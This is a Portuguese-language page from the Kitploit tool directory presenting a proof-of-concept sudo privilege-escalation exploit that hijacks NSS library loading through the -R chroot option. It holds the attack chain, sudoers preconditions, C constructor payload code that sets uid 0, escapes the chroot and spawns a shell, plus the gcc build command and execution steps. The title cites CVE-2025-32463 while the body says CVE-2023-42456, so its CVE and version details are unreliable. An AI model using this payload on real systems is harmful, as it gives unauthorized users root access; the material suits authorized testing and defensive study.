Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-32463-EXPLOIT — Exploit de prova de conceito para CVE-2023-42456, demonstrando escalada de privilégio via sequestro da biblioteca NSS do sudo por meio de injeção chroot. Inclui detecção automatizada de versão, geração de payload e escape de chroot para testes de segurança autorizados. | Kitploit
Ferramentas/GitHubGitHub/secvulnhub/cve-2025-32463-exploit
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHubsecvulnhub/cve-2025-32463-exploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-32463-EXPLOIT

Exploit de prova de conceito para CVE-2023-42456, demonstrando escalada de privilégio via sequestro da biblioteca NSS do sudo por meio de injeção chroot. Inclui detecção automatizada de versão, geração de payload e escape de chroot para testes de segurança autorizados.

Ver Repositório
14há 5 mesesAinda não revisado

Xpl0it — Sequestro de Biblioteca NSS do Sudo | v0.0.4

Autor: 0xb0rn3 | 0xbv1
Tipo: Ferramenta de Pesquisa de Segurança Prova de Conceito (PoC)
CVE: CVE-2023-42456
Técnica: injeção de biblioteca NSS via -R chroot do sudo → escalonamento de privilégio para root


⚠️ Aviso Legal

Esta ferramenta foi desenvolvida apenas para testes de penetração autorizados e pesquisa educacional em segurança. Execute-a exclusivamente em sistemas que você possua ou tenha permissão explícita por escrito para testar. O(s) autor(es) não se responsabilizam por qualquer uso indevido. O uso não autorizado é ilegal.


🎯 O que esta ferramenta faz

Xpl0it é uma prova de conceito que explora uma falha no modelo de confiança de como o sudo gerencia o carregamento dinâmico de bibliotecas NSS (Name Service Switch) ao usar a flag -R (chroot). Em versões vulneráveis do sudo, um invasor que controla o diretório chroot pode envenenar o nsswitch.conf dentro dele para forçar o sudo a carregar uma biblioteca compartilhada maliciosa enquanto ainda mantém privilégios elevados — antes de qualquer redução de credenciais.

Em uma execução bem-sucedida, a ferramenta o coloca em um shell root ou executa qualquer comando especificado com uid=0 gid=0.


🔍 CVE-2023-42456 — Versões Afetadas

Esta ferramenta tem como alvo exclusivo CVE-2023-42456. A vulnerabilidade existe em dois ramos de lançamento, cada um com um commit de correção separado:

RamoVulnerávelCorrigido em
1.9.14.xtodos (1.9.14 – 1.9.14p2)N/A (ramo inteiro afetado)
1.9.15.x1.9.15 – 1.9.15p11.9.15p2
1.9.16.x1.9.16 – 1.9.16p11.9.16p2
1.9.17+não afetadocorreção mesclada upstream antes do ramo

Importante: sudo 1.9.17 e posteriores não são vulneráveis. Ferramentas e artigos anteriores listaram incorretamente o intervalo como "1.9.14–1.9.17". Esta ferramenta realiza detecção de versão por ramo para evitar falsos positivos.

Fora do escopo

As seguintes CVEs não são exploráveis por meio desta técnica e foram intencionalmente excluídas para evitar falsos positivos:

CVETécnicaPor que foi excluído
CVE-2021-3156 (Baron Samedit)Estouro de buffer baseado em heapVetor de ataque completamente diferente
CVE-2021-23239Condição de corrida no sudoeditTécnica diferente
CVE-2021-23240Bypass de link simbólico de função SELinuxTécnica diferente

🔑 Pré-requisito Crítico — ChrootDir no Sudoers

sudo -R exige uma diretiva ChrootDir= explícita na entrada do sudoers do usuário alvo. NOPASSWD sozinho não concede permissão para -R.

Sem ChrootDir, o sudo rejeita totalmente a flag -R:

sudo: you are not permitted to use the -R option with bridge

Uma entrada no sudoers que permite este exploit deve se parecer com uma das seguintes:

# Caminho de chroot irrestrito (condição de ataque ideal)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL

# Caminho de chroot restrito (ferramenta adapta diretório de preparação automaticamente)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash

# Caminho específico (ferramenta cria preparação dentro do caminho permitido)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL

Xpl0it analisa sudo -l em busca de ChrootDir antes de qualquer trabalho de preparação e aborta precocemente com uma explicação clara se a permissão estiver ausente.


🔬 Mergulho Técnico Profundo

Cadeia do Exploit

sudo -R bridge bridge
      │
      ├─ sudo calls chroot("./bridge")          ← attacker controls this dir
      │
      ├─ sudo must resolve calling user's info
      │  └─ loads /etc/nsswitch.conf from chroot
      │       └─ "passwd: files bridge90"
      │            └─ dynamic linker loads libnss_bridge90.so.2
      │                 └─ __attribute__((constructor)) fires
      │                      └─ setreuid(0,0) + setregid(0,0)
      │                           └─ chroot escape → exec payload
      │
      └─ root shell spawned

Passo a Passo

Passo 1 — Reconhecimento
Coleta SO, versão do kernel, arquitetura, contexto do usuário atual e todos os caminhos de busca de bibliotecas válidos. Detecta a aplicação de AppArmor/SELinux e o status de NoNewPrivs — todos podem bloquear silenciosamente o exploit se ativos.

Passo 2 — Identificação da Versão
Analisa sudo --version e verifica o intervalo afetado de dois ramos para CVE-2023-42456 com precisão de nível de patch. Aborta com explicação se a versão estiver corrigida ou fora do intervalo.

Passo 3 — Verificação de Permissão ChrootDir
Analisa sudo -l em busca de diretivas ChrootDir=. Se ausente, aborta imediatamente. Se restrito a um caminho específico, automaticamente utiliza esse caminho para preparação para que o sudo aceite a chamada -R.

Passo 4 — Sonda Pré-Exploração
Constrói um chroot mínimo descartável e dispara uma chamada sudo -R inofensiva antes de qualquer trabalho real de preparação. Confirma que o sudo alcançará a resolução NSS e captura rejeições de "não permitido" precocemente.

Passo 5 — Geração do Payload
Escreve bridge90.c — uma biblioteca compartilhada C com uma função __attribute__((constructor)) (_nss_bridge90_init) que é disparada no momento em que o vinculador dinâmico a carrega:

__attribute__((constructor))
static void _nss_bridge90_init(void) {
    setreuid(0, 0);  setregid(0, 0);
    setuid(0);       setgid(0);

    // chroot escape: mkdir sub-dir → chroot deeper →
    // traverse 40x"../" → re-anchor chroot to real /
    mkdir("._esc", 0700);
    if (chroot("._esc") == 0) {
        // ... 40x "../" chdir ...
        chroot(".");
    }
    chdir("/");
    execl("/bin/bash", "bash", "-c", CMD, NULL);
    execl("/bin/sh",   "sh",   "-c", CMD, NULL);
    _exit(1);
}

Passo 6 — Configuração do Ambiente
Constrói um chroot convincente dentro do diretório de preparação:

  • bridge/etc/nsswitch.conf — envenenado para carregar o serviço NSS bridge90
  • bridge/<lib_path>/libnss_bridge90.so.2 — o payload, implantado em todos os caminhos de lib detectados (cobertura multilib)
  • bridge/bin/bridge — executável stub que o sudo deve encontrar para prosseguir após as verificações pré-execução
  • bridge/bin/sh, bridge/bin/bash — shells com interpretador ELF correto (detectado via readelf -l)
  • bridge/etc/ld.so.conf — cobre todos os caminhos de lib para que ldconfig -r construa um cache válido

Passo 7 — Compilação

gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
  • -nostartfiles — sem código de inicialização padrão; o construtor cuida de tudo
  • -Wl,-soname — SONAME correto para resolução de nomes NSS
  • Sem -Wl,-init — __attribute__((constructor)) é suficiente; adicionar -Wl,-init causa uma chamada dupla e é um bug

Após a compilação, nm -D verifica se o símbolo do construtor está presente na tabela de exportação dinâmica.

Passo 8 — Execução
Dispara sudo -R bridge bridge a partir do diretório de preparação. NSS resolve bridge90 → carrega nossa biblioteca → construtor é disparado com privilégios elevados → fuga do chroot executa → shell root.

Por que a Vulnerabilidade Existe

A implementação de -R do sudo confia no conteúdo do diretório chroot que ele acessa. Antes dessa correção, o sudo não validava se o ambiente chroot havia sido adulterado. Como o usuário que fornece o caminho do chroot controla seu conteúdo — incluindo nsswitch.conf e as bibliotecas NSS que ele referencia — ele pode redirecionar o carregamento de bibliotecas para código arbitrário que é executado antes que o sudo realize qualquer redução de privilégios.


🛡️ Detecção e Mitigação

Correções Imediatas

Baixar ferramenta